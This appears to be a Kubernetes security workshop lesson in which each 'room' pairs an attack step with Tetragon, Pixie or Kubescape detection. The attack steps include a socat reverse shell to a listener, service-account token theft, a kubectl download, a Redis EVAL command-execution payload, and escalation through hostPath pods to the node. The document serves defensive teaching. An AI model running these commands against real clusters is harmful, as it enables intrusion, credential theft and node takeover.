Lesson  in  IKT Linz 2027

The very first lesson of the course

The description of the very first lesson of the course.

Deploy the stack

2. Tetragon

cat <<VALS > /tmp/tetragon-values.yaml
tetragon:
  grpc:
    address: "localhost:54321"
  exportDenyList: |-
    {"namespace":["kube-system","pl","olm","kube-public","kube-flannel","px-operator","argocd","cilium-secrets","kube-node-lease","local-path-storage"]}
VALS
helm repo add cilium https://helm.cilium.io
helm repo update
helm install tetragon cilium/tetragon -n kube-system -f /tmp/tetragon-values.yaml

3. capture-stdout TracingPolicy

Hooks sys_write on FD 1/2 for shell binaries, so every byte a shell prints back to an attacker is captured.

kubectl apply -f - <<'EOF'
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: capture-stdout
spec:
  kprobes:
    - call: "sys_write"
      syscall: true
      args:
      - index: 0
        type: "int"
      - index: 1
        type: "char_buf"
        sizeArgIndex: 3
      - index: 2
        type: "size_t"
      selectors:
      - matchBinaries:
        - operator: "In"
          values:
          - "/usr/bin/bash"
          - "/bin/bash"
          - "/usr/bin/sh"
          - "/bin/sh"
          - "/usr/bin/dash"
          - "/bin/dash"
          followChildren: true
        matchArgs:
        - index: 0
          operator: "Equal"
          values:
          - "1"
          - "2"
EOF

4. Target workload

kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Namespace
metadata:
  name: dungeon
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: player
  namespace: dungeon
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: entry-hall
  namespace: dungeon
spec:
  replicas: 1
  selector:
    matchLabels:
      role: player
  template:
    metadata:
      labels:
        role: player
    spec:
      serviceAccountName: player
      containers:
      - name: shell
        image: nginx:latest
        command: ["/bin/sh", "-c", "--"]
        args: ["while true; do sleep 30; done;"]
        env:
        - name: SECRET_KEY
          value: "You Shall Not Pass! :P"
        securityContext:
          privileged: false
        volumeMounts:
        - name: proc-host
          mountPath: /host/proc
          readOnly: true
      volumes:
      - name: proc-host
        hostPath:
          path: /proc
EOF

The pod's only allowed behaviour is sleep. Everything else is drift.

5. Verify

kubectl -n honey get pods
kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout -f | grep --line-buffered capture-stdout | jq
kubectl logs -n honey -l app=node-agent -f | jq '.message'

After ~30-60s the pod appears in dx/shadow_trace in the Pixie UI, spawning sleep and nothing else.

deploy the orchestrator

kubectl apply -f - <<'EOF'
# The agent platform: an orchestrator that spawns ephemeral worker pods.
#
#   kubectl apply -f k8s/orchestrator.yaml
#
# This is the escalation target of the workshop, so read the RBAC below with
# that in mind. Nothing here is exotic - it is what a real task-runner platform
# looks like. The lesson is that "realistic" and "dangerous" are the same object.
#
#   agent-orchestrator  (SA)  -> can create pods in this namespace. Legitimate:
#                                its whole job is creating worker pods.
#   agent-worker        (SA)  -> no RBAC at all. A worker that abuses its own
#                                identity gets nowhere; that is deliberate.
#
# Whoever holds the orchestrator's token can create a pod - and a pod they
# control can be a privileged, hostPath pod, which is root on the node. The
# create-pods verb is the whole escalation. See docs once the attack lands.
apiVersion: v1
kind: Namespace
metadata:
  name: agent-system
  labels:
    name: agent-system
---
# The workers' identity. No Role is bound to it: workers are meant to be boxed
# in, so the initial foothold has nowhere to go on its own credentials.
apiVersion: v1
kind: ServiceAccount
metadata:
  name: agent-worker
  namespace: agent-system
---
# The orchestrator's identity - the one worth stealing.
apiVersion: v1
kind: ServiceAccount
metadata:
  name: agent-orchestrator
  namespace: agent-system
---
# Namespaced, not cluster-wide, and only the verbs a pod-spawner actually uses.
# This is a defensible Role a reviewer would wave through - which is exactly why
# it makes such a clean escalation once the identity is compromised.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: agent-orchestrator
  namespace: agent-system
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "watch", "create", "delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: agent-orchestrator
  namespace: agent-system
subjects:
  - kind: ServiceAccount
    name: agent-orchestrator
    namespace: agent-system
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: agent-orchestrator
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: agent-orchestrator
  namespace: agent-system
spec:
  replicas: 1
  selector:
    matchLabels: {app: agent-orchestrator}
  template:
    metadata:
      labels: {app: agent-orchestrator}
    spec:
      serviceAccountName: agent-orchestrator
      # GHCR packages are private by default even from a public repo. Flip the
      # package to public, or add an imagePullSecret here and on the workers'
      # namespace, or the pods sit in ImagePullBackOff. Same note as agentbox.
      containers:
        - name: orchestrator
          image: ghcr.io/magier/ikt26/agent-orchestrator:latest
          imagePullPolicy: Always
          ports:
            - {name: http, containerPort: 8080}
          securityContext:
            runAsNonRoot: true
            readOnlyRootFilesystem: true
            allowPrivilegeEscalation: false
            capabilities: {drop: ["ALL"]}
            seccompProfile: {type: RuntimeDefault}
          env:
            - name: POD_NAMESPACE
              valueFrom:
                fieldRef: {fieldPath: metadata.namespace}
            - name: POD_NAME
              valueFrom:
                fieldRef: {fieldPath: metadata.name}
            # The coordination backend. Points at the Redis in this namespace;
            # the loop degrades gracefully if it is not deployed.
            - {name: REDIS_HOST, value: "redis.agent-system.svc"}
            # Set explicitly: a Service named "redis" makes Kubernetes inject
            # REDIS_PORT="tcp://<ip>:6379", which a user-set value overrides.
            - {name: REDIS_PORT, value: "6379"}
          readinessProbe:
            httpGet: {path: /healthz, port: http}
            initialDelaySeconds: 2
          livenessProbe:
            httpGet: {path: /healthz, port: http}
            initialDelaySeconds: 10
            periodSeconds: 20
          resources:
            requests: {cpu: 50m, memory: 64Mi}
            limits: {cpu: 250m, memory: 128Mi}
---
apiVersion: v1
kind: Service
metadata:
  name: agent-orchestrator
  namespace: agent-system
spec:
  selector: {app: agent-orchestrator}
  ports:
    - {name: http, port: 80, targetPort: http}
EOF

Room 1 — Exec into the pod

A stolen developer credential is used to exec into a pod. An interactive shell is opened; nothing is dropped, nothing is exploited.

The attack

Open RanUI:

  1. Click on the Ran Node
  2. Select "Create Listener" from the armory
  3. Execute the action and a listener badge should appear next to Ran
Create a new listener to catch reverse shells

Create a new listener to catch reverse shells

Spawn a worker which connects back to our listener

Spawn a new worker which connects back to Ran. Click on Open dev-machine and enter:

LHOST=$(hostname -i)
LPORT=1337
TASK_ID=callback-1
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[?(@.type=="InternalIP")].address}')

# in another terminal, BEFORE submitting:  nc -lvnp 1337

curl -sS -X POST http://${NODE_IP}:30080/tasks -H 'Content-Type: application/json' -d @- <<EOF
{"id":"${TASK_ID}",
 "repo":"https://github.com/Magier/ikt26",
 "cmd":"apt update; apt install -y socat; socat TCP:172.16.0.5:1337 EXEC:sh "}
EOF

Orienting after initial foothold

  1. Select the newly discovered system
  2. Read the environment variables
  • Armory: Discovery > Read Environment variables
  • or quick actions in the entity info: click the play icon next to `envVars
Read the environment variable to get more context

Read the environment variable to get more context

Important

Detection is not yet implemented

Two consequences you can hook: the spawned shell writes to FD 1/2, and step 2 is plain HTTP the PEM can see.

Detect — Tetragon (sys_write on FD 1/2)

The capture-stdout policy from unit 1 already hooks it. Decode bytes_arg live:

kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout -f | \
  grep --line-buffered "capture-stdout" | \
  jq -r --unbuffered '[.process_kprobe.process.pod.name,
          .process_kprobe.args[0].int_arg,
          .process_kprobe.args[1].bytes_arg] | @tsv' | \
  while IFS=$'\t' read -r pod fd b64; do
    text=$(printf '%s' "$b64" | base64 -d | cat -v)
    printf "[%s] FD%s: %s\n" "$pod" "$fd" "$text"
  done
[entry-hall-5cd744dd89-snp65] FD1: uid=0(root) gid=0(root) groups=0(root)

Useful fields on the raw event: process.binary, process.pid, process.uid, parent.binary, pod.namespace, pod.name, int_arg (the FD), policy_name.

parent.binary = containerd-shim is the key discriminator — that is what makes it a CRI exec rather than a process the workload started itself.

Detect — Pixie (network level)

df = px.DataFrame('http_events')
df = df[px.contains(df.req_path, '/exec/')]
df = df[['time_', 'req_method', 'req_path', 'resp_status', 'remote_addr', 'remote_port']]

Tetragon tells you who and what. Pixie tells you the exec happened at all, without needing a policy on the right pod.

Room 2 — Token theft and a dropped kubectl

The shell reads its mounted ServiceAccount token, drops kubectl into /tmp, and asks the API server what that token can do.

The attack

  1. Click the agent-worker-* pod > Credential Access > Read ServiceAccount Token

The token is not just a credential — its claims name the pod and the node it runs on.

Ran reads the mounted ServiceAccount token
  1. Execution > Install kubectl (lands in /tmp)
  2. Select the player ServiceAccount in the graph
  3. Discovery > Check Token permissions, with the player token selected

The answer here is nothing useful — this token has no interesting permissions. The attack still generated five alerts.

Manual equivalent:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -L -o /tmp/kubectl "https://dl.k8s.io/release/$(curl -Ls https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x /tmp/kubectl
/tmp/kubectl auth can-i --list

Detect — Kubescape node-agent

The entry-hall baseline allows sleep and nothing else, so every step above is drift:

kubectl logs -n honey -l app=node-agent -f | jq '.message'
"Unexpected access to service account token: /run/secrets/kubernetes.io/serviceaccount/../token with flags: O_RDONLY,O_CLOEXEC"
"Unexpected process launched: kubectl with PID 83170"
"Kubernetes client (kubectl) was executed with PID 83170"
"Process (kubectl) was executed and is not part of the image"
"Network connection to Kubernetes API server from container shell"
RuleIDAlertSeverity
R0001Unexpected process launched1
R0007Workload uses Kubernetes API unexpectedly5
R1001Drifted process executed8

R1001 is the one that matters. It compares the container's lower and upper dir, so any binary that was not in the image is caught — no signature, no hash list, no knowledge of what kubectl is. A renamed or unknown binary trips it identically.

The full alert carries args (the entire auth can-i --list --token=... command line), processTree (runcshkubectl), the image digest and the pod labels.

Note

Reading the token is a file open, not an API call — the API server never sees it and it is not in the audit log. Only the runtime sensor has it.

Room 3 — Network discovery

With no useful permissions, the monster maps the network instead: install nmap, learn its own IP, scan the subnet.

The attack

  1. Select the agent-worker-* pod
  2. Execution > Install Package, target package nmap
  3. Discovery > Get local IP address — the scan needs a range
  4. Discovery > NMap Host Scan

Champion path — reverse DNS. Discovery > Reverse DNS scan against the same subnet.

Ran sweeps the subnet with reverse DNS instead of packets

The two find different targets. Nmap does not find ArgoCD, because ArgoCD has NetworkPolicies. rDNS does, because it never sends a packet to the workload — it only asks CoreDNS. Network policy does not constrain what DNS will tell you.

Detect — Pixie, outbound connections

cat <<'EOF2' > /tmp/network_map.pxl
import px

def raw():
    df = px.DataFrame('conn_stats')
    df = df[df.ctx['namespace'] == 'dungeon']
    df.pod = df.ctx['pod']
    df.protocol_name = px.protocol_name(df.protocol)
    df = df[['pod', 'remote_addr', 'remote_port', 'trace_role',
             'protocol_name', 'bytes_sent', 'bytes_recv', 'conn_open']]
    return df

px.display(raw(), 'raw')
EOF2
px run -f /tmp/network_map.pxl

Resolve the far end with px.nslookup(df.remote_addr) and group by from_entity/to_entity for a readable map.

A scanning pod fans out to dozens of services it has never touched, nearly all with 0 bytes transferred. The shape is the signal, not the volume — a threshold on bytes or connection count would miss this; the fan-out to never-before-contacted peers is what identifies it.

Detect — Pixie, DNS

cat <<'EOF2' > /tmp/dns_burst.pxl
import px

def dns_burst():
    df = px.DataFrame(table='dns_events')
    df.pod = df.ctx['pod']
    df = df[not px.contains(df.pod, "vizier")]
    df = df[['time_', 'pod', 'req_body', 'resp_body']]
    return df

px.display(dns_burst())
EOF2
px run -f /tmp/dns_burst.pxl

To see only what Ran actually found, drop the unanswered queries:

df = df[not px.contains(df.resp_body, '"answers":[]')]

This is the only place the rDNS sweep is visible as network activity, because that is all it is.

Detect — node-agent

The rDNS sweep is a fork storm — one getent/awk/head/sh per name:

"Unexpected process launched: getent with PID 144159"
"Unexpected process launched: awk with PID 144154"
"Unexpected process launched: head with PID 144161"

Stealthier on the wire, far louder on the process table. Two sensors, opposite strengths.

Rooms 4 & 5 — Redis RCE to agent-orchestrator permissions

One kill chain in two halves: exploit an unpatched Redis to steal a token with nodes/proxy, then use that permission to exec on the kubelet directly — bypassing the API server and its audit log.

Part 1 — Redis RCE

The oopservability namespace runs an outdated Redis. Its agent token holds get on nodes/proxy, a permission observability and compliance tooling very commonly has.

  1. Click the redis pod in oopservability > Lateral Movement > RCE. It fails — no redis-cli in the pod
  2. On agent-worker-*: Execution > Install Package, target redis-tools
  3. Confirm via the pod's binaries property that redis-cli is present
  1. Focus redis again and execute the RCE
  2. Credential Access > Read ServiceAccount Token on the Redis pod
  3. Check the oopservability-agent token's permissions from the agent-worker-* pod
redis-cli -h $REDIS_IP -p 6379 EVAL "local cmd = ARGV[1] .. ' 2>&1'; local f = io.popen(cmd); local d = f:read('*a') f:close(); return d;" 0 "id"

Detect — node-agent: redis-cli is another dropped binary → R1001 plus R0001.

Detect — Pixie: a new conn_stats edge dungeon/entry-hall → *.redis.oopservability.svc.cluster.local, from a pod with no reason to talk to it. The RCE is one connection among many; the novelty of the edge is the signal.

Part 2 — OTel credential leak

Redis's ServiceAccount can create a ServiceMonitor—normally just instructions for where OTel fetches metrics.

  1. Select the oopservability-redis ServiceAccount
  2. Select Credential Access > Create ServiceMonitor with Bearer Token Token File (CVE-2026-47701)
  • keep the default settings
  1. Select the oopservability-redis-* and select Credential Access > Extract ServiceAccount Token via CVE ...
  2. At least 1 new ServiceAccount token should be added
  • The entry in the operational log at the bottom can be expanded to see how many entities were discovered

Explanation

  1. Prerequisite is a otel-collector sidecar mounted in workloads
  2. The vulnerable Target Allocator accepts its unsafe bearerTokenFile setting.
  3. The injected OTel sidecar in agent-orchestrator reads its own mounted token and sends it as an authorization header to Redis's metric-receiver.
  4. metric-receiver saves that header in Redis. The RCE can retrieve it and compare its permissions with Redis's limited identity.

Redis can change monitoring configuration; it should never make another workload disclose its Kubernetes identity.

Detect: alert on workload-created ServiceMonitor objects and collector configurations using bearerTokenFile.

Room 6 — Spawn a privileged worker

The captured token belongs to agent-orchestrator. Its job is to create agent workers, so it can create Pods and Jobs in agent-system.

The attack

  1. Decode the captured ServiceAccount token and check its permissions.
  2. Use it to create an attacker-controlled worker Pod named agent-gateway, with a hostPath mount of /.
  3. Configure agent-gateway to use socat to call back to the listener created in Room 1.
  4. When the callback arrives, select agent-gateway in Ran: you now control the privileged Pod.

hostPath: / makes the node's filesystem visible inside agent-gateway (usually at /host). This is not node escape yet—but it is the bridge from Kubernetes permissions to the node.

Detect: Pod creation is an API-server event. Alert on privileged Pods, hostPath: /, and unexpected Pods created by the agent-orchestrator identity.

Room 7 — Finale: escape the node

The privileged agent-gateway Pod can see the node's root filesystem. Enter the host namespace with nsenter or chroot, then you are operating on the node—not in the Pod.

The finale

  1. From agent-gateway, enter the host environment and prove which node you reached.
  2. Search the mounted host filesystem for Kubernetes configuration and other high-value credentials.
  3. Use only the isolated workshop environment to check whether a discovered identity expands your Kubernetes access. Do not copy credentials out of the lab.
Important

The host filesystem may contain real cluster credentials. Treat them as proof of impact only; never copy or reuse them outside this isolated workshop.

This is the end-state: a low-privilege Redis compromise became control of a workload, then a node. The important lesson is not the final file—it is every trust boundary that allowed the next step.

TODO:

  • dedicated action to search for interesting paths on k3s to reduce FS load
    • /var/lib/rancher/k3s
    • /etc/rancher/k3s

Detect and contain: investigate the Pod-creation audit event, isolate the node, delete the malicious workload, rotate exposed credentials, and remove the ability for application identities to create arbitrary Pods.